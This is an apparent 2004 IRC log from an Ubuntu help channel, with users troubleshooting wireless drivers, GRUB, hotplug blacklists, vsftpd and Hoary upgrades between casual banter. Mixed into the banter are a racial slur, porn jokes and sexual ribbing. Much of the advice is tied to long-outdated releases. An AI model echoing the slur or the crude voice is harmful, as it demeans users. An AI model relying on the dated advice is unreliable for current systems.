[09:49] <rapha> Nonphasis: My hope is that gravity at it's core is a whole new thing, totally different from everything we believe to understand so far.
[09:49] <rapha> s/it's/its
[09:49] <drakonim> natea, your keyboard/moose usb also?
[09:50] <Kman> anyone here has problems accessing some files on a windows partition mount?
[09:50] <drakonim> rapha, s/it\'s/its  [dont get lazy.. that wouldnt work on someones solaris box] 
[09:50] <Kman> some gnome programs seem to have problems with handling spaces in filepaths
[09:50] <drakonim> rapha, ;-)
[09:51] <Nonphasis> rapha, ATM it seems to be a "separate" thing, but it's still a part of the same " ultimate reality". I don't think it will be fundamentally separate
[09:51] <rapha> drakonim: Well, this is a chat, interpreted by so-called "human beings". I intend to challenge them a little ;-)
[09:51] <DAC1138> drakonim, should dual booting linux distros be the same as setting up a dual boot between windows? i mean with grub installing and all
[09:51] <natea> anyone else here using Ubuntu Linux on a 17" Powerbook?
[09:51] <rapha> Nonphasis: not separate. Just adding to the diversity (that, in the end, makes up the university).
[09:52] <drakonim> DAC1138, yeah its not that evil... makes it easier if you use some filesystem that the other distro doesnt support
[09:52] <Nonphasis> rapha, universe, I assume ;-)
[09:52] <drakonim> DAC1138, youve got suse?
[09:52] <DAC1138> drakonim, yeah, 9.1
[09:52] <natea> The screen resolution doesn't seem to be configured correctly. i went to Screen Resolution prefs and it was already at the Max of 1400 x 1050,
[09:52] <rapha> Nonphasis: In correct English, yes. But DIversity, UNIversity, kind of fits ;-)
[09:52] <drakonim> DAC1138, so use something super odd like xfs or jfs
[09:52] <natea> but this leaves black edges on the left and right of the screen, and at the top and bottom the icons go off the screen.
[09:53] <DAC1138> does ubuntu support jfs or xfs?
[09:53] <drakonim> DAC1138, xfs definately
[09:53] <Nonphasis> rapha, yes, but University -> hell of a lot of negative connotations (school, blah blah)
[09:53] <DAC1138> drakonim, i think suse 9.1 is using reiser, can i use ext3 with ubuntu?
[09:53] <rapha> Nonphasis: Oh. Sorry for that ;-)
[09:53] <drakonim> DAC1138, i think jfs is in here too...hang ill check
[09:53] <nosilver4u> natea: adjust your monitor
[09:53] <rapha> All those temptations...
[09:53] <drakonim> DAC1138, you can use anything you want....
[09:53] <natea> nosilver4u, it's an internal laptop monitor so i don't think it's possible to adjust manually.
[09:53] <drakonim> DAC1138, but usign something the other doesnt support is kinda cheating yourway into automatically hdiing the other OS
[09:53] <nosilver4u> ah, weirdness then
[09:54] <drakonim> DAC1138, you just need to make sure your grub has a stage 2 for whatever filesystem you use.
[09:54] <Kman> when someone opens an mp3 file on a windows parition mount, and the path to the file has spaces in it, and rythmbox/totem gives 'cannot find file' errors, is it a gnome or ubuntu problem? ('cause mandrake didn't have this, but that was an older gnome version)
[09:54] <Nonphasis> rapha, yep, conventions suck but the "language" one can be helpful. Esp. if you are drinking, which I am at the moment (impending Halloween party)
[09:54] <DAC1138> drakonim, what do you mean stage 2?
[09:54] <nosilver4u> most normally you'd want to keep the default resolution, cause laptop lcd's aren't designed to support other resolutions very well
[09:54] <drakonim> DAC1138, look in /boot/grub
[09:54] <drakonim> DAC1138, acutally... stage 1.5
[09:54] <rapha> Nonphasis: SKOL!
[09:55] <Nonphasis> rapha, skol. enjoy the wasser, I've spiked my mineral vater w/ Vodka
[09:55] <natea> nosilver4u, well i haven't changed the resolution but left it at the default. it doesn't seem possible to change it to eliminate the black lines on left/right.
[09:56] <DAC1138> drakonim, i think what ill do is just try installing it via vmware, then try to install the xserver, and see if X will even start up in the vmware, rather than risking my suse 9.1 distro
[09:56] <rapha> Nonphasis: so what is a good-looking, 27-year-old, successful computer programmer (and deeply spiritual being) like you sitting alone in front of a black (or grey) box on a beautieful Wednesday evening like this one?
[09:56] <nosilver4u> you've got a laptop with default 1400x1050? that's a huge laptop
[09:56] <drakonim> DAC1138, not only will it work... but it will be accellerated X ;-)
[09:57] <rapha> nosilver4u: They're not uncommon anymore these days.
[09:57] <natea> is it advised to choose the "download updates from the internet" step when installing Ubuntu the first time?
[09:57] <drakonim> DAC1138, ubuntu comes with a nice vmware X driver
[09:57] <drakonim> natea, yes
[09:57] <natea> i'm wondering if it's installing some bleeding edge updates that haven't fully been tested on PPC machines.
[09:57] <DAC1138> drakonim, yeah, that's what im using, the XiG accelerated x server
[09:57] <drakonim> natea, i would advise it
[09:57] <Cuga_> drakonim, you've gotten vmware to work in ubuntu?
[09:57] <DAC1138> well, forget vmware, ill just get rid of that windows partition
[09:57] <rapha> drakonim: Do you know where that setting is stored in the later-installed system?
[09:57] <Nonphasis> rapha, actually, there was no definite plans but I felt attending a Halloween party would be fun - and the stress at work wos enough to warrant getting slightly drunk
[09:57] <rapha> DAC1138: That's the spirit! :-)
[09:58] <drakonim> Cuga_ workstation 3.0.0
[09:58] <rapha> Nonphasis: But sitting at a Halloween party with a computer...? :-)
[09:58] <Cuga_> drakonim, ugah lol tryed the 4.x yet?
[09:58] <natea> drakonim, ok, i am running the mega update right now.
[09:58] <drakonim> rapha, what setting?
[09:58] <ztonzy> evening!
[09:58] <drakonim> Cuga_ nah, i have a license for 3
[09:58] <Nonphasis> rapha, no, it didn't start yet. I'll hit the road in a few minutes
[09:58] <epod> whee, I have wifi on boot up
[09:59] <rapha> drakonim: the "update from internet" setting.,
[09:59] <drakonim> Cuga_ companies too cheap to buy the new one :-(
[09:59] <epod> now... is there any sort of GUI frontend for configuring my wireless I can get? :D
[09:59] <Cuga_> drakonim, well if it does the trick
[09:59] <ztonzy> anyone knows where apache2's dir where I can put my files to show as own webserver ?
[09:59] <Cuga_> drakonim, did you have to apply any kernel patches?
[09:59] <drakonim> rapha, apt-setup
[09:59] <epod> drakonim, thanks for the help, my system is happily online
[09:59] <rapha> Nonphasis: Oh, okay. So, you're still looking for the girl of your dreams, or is she going to go to that party with you?
[09:59] <rapha> Thanks drakonim.
[09:59] <Nonphasis> rapha, answer B
[09:59] <drakonim> Cuga_, vmware patches from their support group
[09:59] <drakonim> rapha, np
[09:59] <drakonim> epod, no problem, glad to help!
[10:00] <rapha> Nonphasis: Happy to hear so!
[10:00] <natea> i can see that Ubuntu detects my Airport card (aka Broadcom BCM94306), but doesn't configure it. are there drivers available for this card yet?
[10:00] <epod> drakonim, do you know of any graphical frontend for configuring this stuff, so I don't need to go to terminal if I change networks?
[10:00] <cbredeson> does anyone here have cgi working with Apache2 on Ubuntu?
[10:00] <Nonphasis> rapha, yeah, I'm not as lonely & miserable a bastard as one might be tempted to think ;-)
[10:00] <rapha> I wasn'T
[10:01] <Nonphasis> rapha, j/k
[10:01] <rapha> Just the sitting-at-the-computer at this time confused me a little ;-)
[10:01] <drakonim> epod, COMPUTER:SYSTEM_CONFIG:NETWORKING
[10:01] <Kman> how does one install a custom .deb package?
[10:01] <rapha> Well, but then I'm sitting at a computer at this very time, too.
[10:01] <rapha> With my Beloved some 30km's away :-/
[10:02] <drakonim> Kman, dpkg -i somepackage.deb
[10:02] <DAC1138> drakonim, does ununtu have some special GUI for configuring the system? like mandrake control center or Yast or something?
[10:02] <Kman> drakonim, thx
[10:02] <Nonphasis> rapha, well, the comp is the place to be then. Not that it weren't even w/ the beloved w/in 4m radius...
[10:02] <natea> DAC1138, see drakonim's post 5 lines above yours.
[10:02] <Nonphasis> rapha, the nerd power has to live on, g/f or no ;-)
[10:02] <drakonim> DAC1138, there is no central kidn of thing like yast.... there all split up into gnome utilites and synaptic and such...
[10:03] <Kman> but they're better written than mandrake's
[10:03] <natea> DAC1138, Computer -> System Config
[10:03] <Kman> mandrake's custom configtools can break a slightly modified system
[10:03] <rapha> Nonphasis: fool! Go and kiss her!
[10:04] <drakonim> DAC1138, YAST is SuSE's one redeaming feature, its also its greatest weakness.
[10:04] <Nonphasis> rapha, we'll see, it's a *public* place & all ;-)
[10:05] <rapha> Nonphasis: Well, the Halloween party is, right? But not where you're now...
[10:05] <drakonim> DAC1138, make one or two modifications directly to some important start scripts or some such on your machine, and yast has a stroke..
[10:05] <DAC1138> drakonim, yeah, i was just seeing if there was something similar to yast for ubuntu, becaus mepis has one
[10:05] <drakonim> DAC1138, nah, its really not necessary with all the fun little gui's in systemconfig though.
[10:05] <natea> epod, do you have a Broadcom BCM94306 wireless card?
[10:06] <Kman> does anyone here have a windows partition mounted in ubuntu?
[10:06] <Kman> (vfat)
[10:06] <Nonphasis> rapha, ah, yes - she isn't here ATM, but w/ some of her girlfriends. And even if she were, if I suddenly went out and kissed here - she would think I had been browsing pr0n, which is undesirable :)
[10:06] <drakonim> Kman, not presently.. but it could be arrainged
[10:06] <drakonim> Kman, what is the issue?
[10:07] <epod> natea, it's a broadcom something
[10:07] <Kman> drakonim, I've got one mounted, and works pretty well.. only some gnome apps don't seem to like filepaths with spaces in them
[10:07] <Nonphasis> rapha, speaking of which, it appears I need to hit the road
[10:07] <natea> epod, are you using a Mac?
[10:07] <epod> natea, no, PC
[10:07] <rapha> Nonphasis: Have a good evening!
[10:07] <Nonphasis> rapha, nice speaking to a comrade in spirituality
[10:07] <drakonim> Kman, thats not a vfat thing... its a spaces in filenames in unix suck thing.
[10:08] <natea> epod, what model number does Device Manager tell you?
[10:08] <rapha> Hihi... typical for a "comrade in spirituality" to disconnect so fast.
[10:08] <epod> natea, BCM94306
[10:08] <DAC1138> ok, well, while ubuntu downloads, im going to play a game. ill be back if all goes well
[10:08] <natea> epod, that's the same one that I have.
[10:08] <DAC1138> cya guys later
[10:08] <natea> epod, did you get it to work with Ubuntu?
[10:08] <epod> natea, works with bcmwl5.inf and bcmwl5.sys
[10:08] <Kman> drakonim, k.. xmms works fine btw with all them files.. and in mandrake I didn't have any problems with the said gnomeapps ether.. so who's to blame, gnome or ubuntu
[10:09] <epod> natea, I'm online right now with it
[10:09] <drakonim> Kman, ahh... probly rhythmbox then
[10:09] <natea> epod, are there any instructions for how to install and configure the driver?
[10:09] <drakonim> natea, are you using a ppc (macintosh) ?
[10:09] <natea> drakonim, yes.
[10:09] <drakonim> natea, ndiswrapper wont help you
[10:09] <drakonim> natea, totally different architecture
[10:10] <natea> drakonim, darn.. too bad.
[10:10] <rapha> Anyway, I'm also going to go offline
[10:10] <drakonim> natea, sorry.. but at least youv'e just been saved some time wasting :-P
[10:10] <natea> i heard that there is a reverse-engineering project for the Broadcom cards.
[10:10] <rapha> See y'all later
[10:10] <epod> can anyone help me with my Palm Pilot and USB hotsync cradle? I don't have /dev/pilot
[10:10] <drakonim> natea, yeah, they are evil and refuse to release hardware specs.
[10:10] <paulproteus> natea: I hear the Linux WRT54G GPLware code might be of some use.
[10:11] <natea> paulproteus, do they have a usable driver?
[10:11] <sjoerd> paulproteus: the broadcom driver is binary only
[10:11] <drakonim> paulproteus, really? the driver included on the wrt's are closed.. thats interesting!
[10:11] <paulproteus> sjoerd: Even in the Linksys source release?  Drat, I didn't know that.
[10:12] <drakonim> paulproteus, they only release the gpl stuff they touch.. they dont have to release non GPL software they use WITH their code, as a matter of fact, they would probly violate some N.D.A. with broadcom if they did.
[10:13] <drakonim> probly read "definately"
[10:14] <epod> how come totem-xine threatens to deinstall ubuntu-desktop?
[10:15] <linux_mafia> because ubuntu-desktop has totem-gstreamer as a depend
[10:15] <epod> ahh
[10:15] <drakonim> Kman, i've been having a few issues with rhythmbox myself.. it wont get my whole library sucked in for some reason... been debugging the issue in my spare time.. easy fix for you is to rename your files white spaces with underscores or something
[10:16] <epod> and I don't want to deinstall ubuntu-desktop, do I?
[10:16] <vizvayu> Hi! I need some help... I managed to setup samba/winbind/pam for domain authentication. wbinfo says everything is ok (-u, -g, -t, -a) but still can't login to the system... it seems there's a problem with login restrictions, but I don't know where to look. login.defs seems ok, same as all the pam.d/ configuration files... any hint somebody??
[10:16] <drakonim> epod, would make for a very lightweight install lol
[10:16] <linux_mafia> epod, its only a meta-package, uninstall it if you want, i did
[10:16] <drakonim> vizvayu, anything interesting logged about the failure?
[10:17] <epod> linux_mafia, hm, k.
[10:17] <vizvayu> ups... it seems I forgot too watch the logs :)))))))) let me see...
[10:17] <drakonim> vizvayu, :-P
[10:18] <epod> Can anyone help me or direct me to where I can figure out how to set up my usb hotsync for my palm? I seem to lack a /dev/pilot device
[10:18] <drakonim> linux_mafia, hrmph, diddnt catch that!
[10:18] <linux_mafia> epod, if you want to watch dvds or restricted formats you *need* totem-xine, if this does not apply to you, then leave alone
[10:18] <linux_mafia> drakonim, catch what?
[10:18] <epod> linux_mafia, I want to watch DVDs, yes
[10:18] <drakonim> linux_mafia, that it was a meta package
[10:18] <linux_mafia> drakonim, oh, ok
[10:19] <drakonim> drakonim, thought it was gonna yoink all his dependencies lol
[10:19] <linux_mafia> drakonim, talking to yourself now too, lol
[10:19] <drakonim> linux_mafia, wouldnt be the first time LOLOL
[10:21] <vizvayu> no, there's nothing on the logs... when I try to login (using gdm) it says that the administrator has disabled my account
[10:21] <drakonim> epod, /dev/pilot should be a symbolic link to your serial device that the cradle is attatched to.
[10:21] <epod> drakonim, mine is USB
[10:21] <epod> drakonim, and not coming up in /dev/sd-anything
[10:21] <drakonim> epod, universal SERIAL bus.   ttyUSB0
[10:22] <epod> ok thanks
[10:22] <epod> I will try that
[10:22] <drakonim> ;-)
[10:22] <drakonim> kewl  make sure you have permissions to write to the device too
[10:22] <rfetech> What is best way to boot into run level 2 as default instead of GUI and then be able use startx for GUI?
[10:22] <drakonim> vizvayu, you have your daemons running with a debug flag?
[10:23] <|trey|> rfetech, On Debian based systems, rl 2-5 are the same... you would simple set /etc/X11/default-desktop-manager to "NONE"
[10:23] <vizvayu> drakonim, which daemon? winbind is working OK
[10:23] <rfetech> Thanks trey, I'll give it a try.
[10:23] <natea> drakonim, i had another freeze-up but this time didn't have to reboot as the system recovered.
[10:23] <epod> drakonim, sweet, it works :)
[10:23] <|trey|> rfetech, so 'echo NONE > /etc/X11/default-desktop-manager'
[10:24] <drakonim> epod, :)
[10:24] <natea> do you want to see something interesting from the /var/log/messages ?
[10:24] <drakonim> natea, probly one of your devices being wierd then
[10:24] <rfetech> trey, thanks
[10:24] <will_> where is the xf86config file located? i need to change default res on boot
[10:24] <drakonim> vizvayu, no its not... you cant authenticate lol
[10:24] <drakonim> will_, /etc/X11/XF86Config-4
[10:24] <vizvayu> drakonim, I'll try that ok :)
[10:24] <natea> drakonim, pwc Failed to set LED on/off time.
[10:25] <natea> drakonim, drivers/usb/input/hid-input.c: event field not found
[10:25] <|trey|> rfetech, you're welcome... also investigate rcconf for simular tasks, nice ncurses interface for editing services  :)
[10:26] <drakonim> natea, thats one of your kernel modules complaining about that particular devices blinky lights...
[10:26] <[Phaedrus] > hey guys
[10:26] <|trey|> [Phaedrus] , hey
[10:26] <natea> drakonim, could either be the webcam or the midi module, both of which have lights.
[10:26] <blackdog> hi does anyone know how to enable File Send Link on warty firefox
[10:27] <[Phaedrus] > hey |trey|
[10:27] <drakonim> probly the midi... its in meida
[10:27] <natea> drakonim, can i tell Ubuntu to ignore that device so that I don't have to disconnect it everytime i boot up Linux?
[10:27] <epod> If I install k3b, is it going to install KDE or something silly?
[10:27] <epod> *using synaptic
[10:27] <drakonim> natea, yes hang on i need to remember how
[10:27] <GnuHippy> kde is messed for me infact all KDE apps won't load and give me tons of errors
[10:28] <drakonim> natea, it needs to get blacklisted
[10:28] <natea> ok, how does one go about blacklisting a device?
[10:29] <drakonim> natea, trying to remember... ubuntu doesnt use discover i dont think.... hang a minute... my paying job is looking for me LOL
[10:29] <|trey|> natea, /etc/hotplug/blacklist
[10:30] <linux_mafia> yay finally got bloody lm-sensors working
[10:31] <linux_mafia> |trey|, the services module of the gnome-system-tools is in hoary now
[10:32] <linux_mafia> |trey|, not exactly the same as a gtk fe for rcconf, but its pretty good
[10:32] <|trey|> linux_mafia, I know, I just noticed that after saying about rcconf... also a Disk Management tool... not entirely sure what that is though...
[10:32] <natea> |trey|, thanks. i can see in the /var/log/messages that some device is already blacklisted: input.agent[20395] :      evbug: blacklisted input.agent[20395] :      evbug: blacklisted input.agent[20395] :      evbug: blacklisted
[10:33] <Telep> Anyone getting a "CRITICAL" error message concerning "eggdesktopentries.c" occasionally when installing some gnome packages with apt-get or Synaptic?
[10:33] <linux_mafia> |trey|, lets you turn dma on/off, format drive, change mount point, view general info about a drive
[10:33] <|trey|> natea, if you look in the /etc/hotplug/blacklist file, or /etc/hotplug/blacklist.d you would likely see all those there...
[10:33] <ogra> Telep: not on warty
[10:34] <linux_mafia> Telep, i am, but im on hoary
[10:34] <linux_mafia> |trey|, you using beagle?
[10:34] <Telep> ogra: I'm running Hoary, but I had the same error on Warty the other day (I'm pretty sure, anyway :D)
[10:34] <|trey|> Telep, I think everyone is currently, someone tried to tell me its related to mplayer...
[10:35] <|trey|> linux_mafia, nope  :(
[10:35] <linux_mafia> anyone using beagle? i will ask this till im blue in the face, i cant be the only one
[10:35] <|trey|> (on a side note, mplayer isn't letting me view my pr0n, this is unacceptable  ;)
[10:35] <lupus_> is there a package for beagle?
[10:36] <natea> |trey|, how do find out the name of the offending device?
[10:36] <|trey|> lupus_, see for yourself... apt-cache search beagle
[10:36] <shaver> whois lupus_
[10:36] <linux_mafia> lupus_, no, requires cvs tomfoolery, and kernel recompilation
[10:36] <GnuHippy> |trey| why wont it let you view your pr0n?
[10:36] <lupus_> and is the kernel in hoary using the inotify patch
[10:36] <lupus_> ?
[10:36] <|trey|> GnuHippy, dunno... just won't run files that worked prior to the last upgrade  :(
[10:36] <Kirsch_> is it possible to have gimp be 1 window? as apposed to 1 + Amount of documents opened?
[10:36] <wannes> Kirsch: NO
[10:36] <wannes> woeps
[10:36] <wannes> no :)
[10:36] <|trey|> natea, I thought you would know that part  :(
[10:37] <Kirsch_> lol
[10:37] <linux_mafia> lupus_, not that hard to get going though, if you can follow instructions its easy, there is a wiki page
[10:37] <Kirsch_> That sucks...
[10:37] <|trey|> Kirsch, nope... minimum of 2...
[10:37] <GnuHippy> is there anything out there better than the gimp more like Photoshop?
[10:37] <natea> |trey|, well, it's not immediately obvious what the device is known as to Linux.
[10:37] <lupus_> kernel recompilation is not really an option
[10:37] <linux_mafia> GnuHippy, photoshop is more like photoshop
[10:37] <lupus_> I rather see the kernel in hoary using the inotify patch :)
[10:37] <linux_mafia> lupus_, why not?
[10:37] <GnuHippy> Captain Obvious
[10:38] <|trey|> GnuHippy, not really... inkscape is one interface, but nothing has the features of the GIMP
[10:38] <lupus_> since it will be in there in 6 months anyway
[10:38] <GnuHippy> inkscape is vector drawing
[10:38] <linux_mafia> lupus_, sweet, wait 6 months then, i want to try shit out "now" heh
[10:39] <shaver> hrm
[10:39] <|trey|> natea, I dunno man, what was the conflict? I just saw the questions about how to blacklist  :(
[10:39] <shaver> starting the hotplug subsystem takes a while
[10:39] <lupus_> linux_mafia, hoary is for trying shit out now :p
[10:39] <shaver> and it can't access my hardware clock, alas
[10:39] <linux_mafia> lupus_, yeah, im using that too
[10:39] <drakonim> alright yall... im out.  peace!
[10:39] <|trey|> GnuHippy, I know, but yeah, I was mainly pointing at the single interface for it... nothing beats GIMP for me though, not even Photoshop...
[10:40] <GnuHippy> I can't use it
[10:40] <GnuHippy> it is too unintuitive
[10:40] <lupus_> it is already using some gnome 2.9 stuff :)
[10:40] <natea> |trey| the message in /var/log/messages is:
[10:40] <natea>  pwc Failed to set LED on/off time.
[10:40] <|trey|> GnuHippy, tip: google "what_you_want_to_do gimp"
[10:40] <natea>  drivers/usb/input/hid-input.c: event field not found
[10:40] <GnuHippy> you can't do layer effects
[10:41] <Cuga_> GnuHippy, haha what a name :)
[10:41] <Cuga_> i like it
[10:41] <Telep> |trey|: my gf recommends you go jogging or get a fair trade banana ;)
[10:41] <|trey|> natea, sorry man, no idea  :(
[10:41] <natea> ok, thanks anyways.
[10:41] <|trey|> Telep, your gf just wants to follow me there  ;)
[10:42] <linux_mafia> lupus_, i think it will take robert loves patch a while to get into the kernel proper
[10:42] <|trey|> Telep, I am pleanty in shape, and OPP's seem to like me a lot  :P
[10:42] <zero> I love the distro, its like sex! Question, ive installed it and everything, but it was the root passwrd im entering is wrong... whats an easy way to change the root pass?
[10:42] <lupus_> linux_mafia, ubuntu does not use vanilla kernel :)
[10:43] <Kal_Zakath> zero : use the pass that you set for your user
[10:43] <zero> yea its not working
[10:43] <Kal_Zakath> when does it occurs ?
[10:43] <zul> zero: sudo su -
[10:43] <linux_mafia> lupus_, granted, but it seems only suse is putting out inotify kernels so far
[10:44] <ztonzy> hmm
[10:44] <ztonzy> how do one know if you have a firewall running on Ubuntu ?
[10:44] <zero> hmm it works with 'sudo su'
[10:44] <zero> but not su
[10:44] <|trey|> Telep, me: http://www.facethejury.com/profile.asp?user_name=PiMpN (ignore the username though, gift, its a paid account for free)
[10:45] <zero> thanks :)
[10:45] <epod> for installing java, with java-package from multiverse, do I want j2re or j2sdk? (I don't see jdk)
[10:45] <lupus_> linux_mafia, fedora 3 also I think since they are switching from fam to gamin
[10:45] <|trey|> Telep, looks more like me, you can't see it though: http://www.facethejury.com/images/photos/Pi/Pimpn-2061453.jpg
[10:45] <epod> ack gotta go on-site
[10:46] <linux_mafia> |trey|, is that you?
[10:46] <|trey|> linux_mafia, yeah  :)
[10:46] <Telep> |trey|: ok :D
[10:47] <linux_mafia> |trey|, what a wigger ;)
[10:47] <|trey|> linux_mafia, hahahaha... you'd be surprised how much I hear that  ;)
[10:47] <linux_mafia> |trey|, me too
[10:47] <Telep> |trey|: my gf wants to know if that light is coming _through_ your ear?
[10:47] <GnuHippy> you dont have a gf
[10:47] <ztonzy> anyone ?
[10:47] <GnuHippy> you mean your right hand?
[10:47] <linux_mafia> light? probably got tunnel piercings
[10:47] <shaver> what's the ubuntu equivalent of chkconfig?
[10:48] <shaver> for controlling service startup
[10:48] <|trey|> Telep, haha... thats a photoshop... the real version is below... its just to fit for with the 'PiMpN' name  :)
[10:48] <linux_mafia> shaver, not ubuntu, debian, update-rc.d
[10:48] <Telep> heh
[10:48] <Jaramin> I'm having problems with metacity, apt-get gives me "failed to open /etc/gconf/schemas/metacity.schemas". I checked, and the file isn't there. How do I get this file, from what package does it usually come from?
[10:48] <shaver> there is no debian, only ubuntu
[10:49] <|trey|> shaver, imo, that may not be far from the truth in a few years  :)
[10:49] <mjr> well, that's true for me now, with amd64 :P
[10:49] <shaver> update-rc.d doesn't list the known services
[10:49] <shaver> mjr: ditto
[10:49] <seb128> Jaramin: you can probably find it in /usr/share/gconf/schemas/metacity.schemas
[10:49] <edwood> hi
[10:50] <|trey|> shaver, apt-get install rcconf or Computer > System Configuration > Services.
[10:50] <mjr> (still, I don't think Debian's going anywhere, and neither should it)
[10:50] <Jaramin> shaver: k, I'll check
[10:50] <shaver> |trey|: I don't have > Services there
[10:50] <linux_mafia> |trey|, check my wigger styles, more "intelligent thug" type shit: http://homepages.paradise.net.nz/maxb
[10:50] <shaver> |trey|: that's what I looked for =/
[10:50] <shaver> |trey|: what package is that?
[10:50] <|trey|> mjr, I dunno, all the drama right now to do with a release...
[10:50] <FreddyF> is it true there is no alsaconf in ubuntu?
[10:51] <Striss> hey guys...I'm running Ubuntu PPC and I installed Java from the Synaptic Package Manager with the free-java-sdk package, how do I get java to work inside Firefox now?
[10:51] <|trey|> shaver, is what?
[10:51] <shaver> |trey|: the > Services tool
[10:51] <mjr> Striss, you pretty much don't with that
[10:51] <|trey|> linux_mafia, haha.. you definatly fit the mafia look well  ;)
[10:51] <|trey|> shaver, gnome-system-tools
[10:51] <shaver> K
[10:51] <Striss> mjr, oh...is there any way I can get java working inside firefox on ppc?
[10:51] <mjr> Striss, the free Java stuff isn't up to running applets
[10:52] <FreddyF> how do i get my sound working if there is no alsaconf?
[10:52] <mjr> (at least those requireing GUIs ;)
[10:52] <shaver> gnome-system-tools is already the newest version.
[10:52] <Striss> i see...so is there any solution for me?
[10:52] <bratsche> Is there any idea when an updated Firefox package will be released for Ubuntu?  The 0.9.3 package is almost unusable.
[10:52] <shaver> bratsche: with Hoary
[10:52] <shaver> bratsche: though I think I'll rebuild with 1.0 on the 9th
[10:52] <bratsche> Is there an estimated release date?
[10:52] <shaver> once I figure out how to do that
[10:52] <bratsche> Okay.
[10:52] <Striss> Is there a guide available on how to upgrade Warty to Hoary?
[10:52] <|trey|> Striss, You can use java-package to package sun's java... or blackdown java... or pay www.apt-get.org a visit and get a premade .deb  :)
[10:53] <GnuHippy> when will hoary be stable enough for everyday use?
[10:53] <Striss> |trey|, ok thanks
[10:53] <Cuga_> bratsche, how is .9.3 unuable?
[10:53] <Cuga_> *unusable
[10:53] <|trey|> Striss, heres the guide: change 'warty' in sources.list to 'hoary', sudo apt-get update && sudo apt-get dist-upgrade
[10:53] <bratsche> Cuga_: It crashes almost every time I try to type into a text entry.  For example, the Google bar at the top.  Or when I go to the actual Google page and try to type into the text entry.
[10:53] <|trey|> I don't recommend you do it though, or something  :)
[10:53] <Striss> |trey|, ah easy enuf, thankyou
[10:53] <FreddyF> so... how do i get my sound to work....? there seems to be no alsaconf
[10:54] <Cuga_> thats not a problem with firefox, theres something wrong on your machine then
[10:54] <Striss> yeah i know I shouldn't do it...everything is working fine in Warty...but i just have that horrible urge to upgrade upgrade upgrade
[10:54] <bratsche> I've found that if I go to www.google.com and click outside the text box to remove the focus, then click back into it and type, I have a much higher chance of Firefox not crashing.  But it still does sometimes then.
[10:54] <GnuHippy> /usr/sbin/alsaconf
[10:54] <Striss> is anybody here actually using Hoary?
[10:54] <shaver> that's a bug fixed post 1.0RC
[10:54] <GnuHippy> or sudo alsaconf
[10:54] <|trey|> Striss, *cough*Iam*cough*
[10:54] <bratsche> Cuga_: I'm using the default Ubuntu on amd64.
[10:54] <Striss> that's enuf for me
[10:54] <Cuga_> i have no issues at all with firefox 0.9.3 with tons of extensions, only thing i dont like about .9.x is the broken updater
[10:54] <Striss> guess I'm gonna try it out
[10:55] <Telep> Striss: I am
[10:55] <FreddyF> /usr/sbin/alsaconf <- no such file/dir
[10:55] <bratsche> So possibly it has to do with the amd64 build of it?
[10:55] <|trey|> Striss, I'd wait now till Xorg gets in... will be only a few days..
[10:55] <shaver> bratsche: yeah, 0.9.3 had lots of amd64 badness =/
[10:55] <bratsche> shaver: Oh, okay.  That's fixed in later releases?
[10:55] <|trey|> Striss, I upgraded to hoary last weekend... Xorg will apparently be painful for a while though...
[10:56] <Cuga_> bratsche, yeah shaver is right, i remember reading bout some of those problems, sorry I didn't know you were on 64
[10:56] <shaver> bratsche: yeah, a lot of amd64 stuff is better in 1.0RC and upcoming 1.0
[10:56] <bratsche> cuga_: I didn't bother to tell you originally.  I didn't realize at first that it may be the problem. =)
[10:56] <bratsche> shaver: Okay, cool enough.  I'll shut up and wait for the next release then. =)
[10:56] <lev> anyone running vsftpd here?
[10:57] <bratsche> The only other thing bothering me is that I can't seem to get Evolution/spamd to filter my spam.
[10:57] <Striss> should I close all my apps that are open while i do this update?
[10:57] <bratsche> But someone said that's a common problem right now too.
[10:57] <|trey|> Striss, not important...
[10:57] <lev> i have a set of users that can login and a set that can't -- I'm having trouble figuring out why vsftpd is discriminating between the two sets...
[10:57] <Striss> k
[10:57] <|trey|> Striss, definatly advice restarting when its done though  ;)
[10:57] <|trey|> advise*
[10:57] <Striss> ok
[10:58] <Striss> i hope i don't regret this in about 20 minutes
[10:58] <FreddyF> anyone? how do i get my sound working
[10:58] <Cuga_> lev, check what groups that the users that can log in are a part of and see if the ones who can't might be excluded from like a 'ftpers' group ... be a good place to start, not sure thos
[10:58] <shaver> I wonder why I don't have system-tools services stuff working here
[10:58] <|trey|> Striss, I haven't had any issues that weren't self inflicted, so you should be fine  :)
[10:58] <Striss> hehe ok
[10:59] <|trey|> Striss, ahh, other then Evolution... its horribly broken... just to let you know...
[10:59] <Striss> I don't use Evolution so that's ok
[10:59] <lev> Cuga_: can you suggest where to look for that? I've checked /etc/ftpusers and /etc/vsftpd.conf...
[10:59] <Striss> wow I'm getting 500kbs from apt, excellent
[10:59] <Striss> the upgrade is in the process now
[10:59] <lev> Cuga_: /etc/pam.d/vsftpd refers back to /etc/ftpusers, too...
[10:59] <GnuHippy> what are you upgrading to striss?
[10:59] <GnuHippy> hoary?
[10:59] <FreddyF> How do I get my sound working?
[10:59] <Striss> Hoary
[11:00] <GnuHippy> good luck with that
[11:00] <Striss> i'm on PPC, hope all goes well
[11:00] <Striss> thanks
[11:00] <shaver> dammit
[11:00] <GnuHippy> be prepared to reformat
[11:00] <|trey|> Striss, If I don't get that, I am disappointed... I've been spoiled by Debian servers  :)
[11:00] <Striss> hehe
[11:00] <shaver> |trey|: what program is run by computer->system tools->services?
[11:00] <shaver> |trey|: can you check for me?
[11:00] <Striss> GnuHippy, why do you say that?
[11:00] <Cuga_> lev, i'd cat /etc/group and look at the groups that users that can login fin, and those who can't see if you see a pattern
[11:00] <shaver> I have gnome-system-tools installed, but nothing in the menus
[11:00] <shaver> about Services
[11:00] <shaver> though, hmm
[11:00] <GnuHippy> I have tried it twice in the past week and have had nothing but problems
[11:00] <paulproteus> lev: Check also for an /etc/vsftpd.conf .  And/or read its man page. ;)
[11:00] <wannes> shaver: boot-admin
[11:00] <GnuHippy> there are a ton of bugs
[11:01] <|trey|> shaver, says "gksudo services-admin"... could be new to GNOME 2.9 though?
[11:01] <wannes> "gksudo boot-admin" actually
[11:01] <Striss> GnuHippy, really? any major ones?
[11:01] <shaver> |trey|: oh, are you not on warty?
[11:01] <GnuHippy> Synaptic doesn't work
[11:01] <GnuHippy> openoffice
[11:01] <lev> paulproteus: I read the man for that -- I've read the file, too. :-)
[11:01] <|trey|> shaver, nope... hoary..
[11:01] <shaver> ah
[11:01] <Striss> well, i barely ever use synaptic
[11:01] <Cuga_> FreddyF, what sound card do you have?
[11:01] <|trey|> GnuHippy, I just used Synaptic?
[11:01] <lev> Cuga_: the entries in /etc/group look quite similar -- no significant difference.
[11:01] <FreddyF> VIA
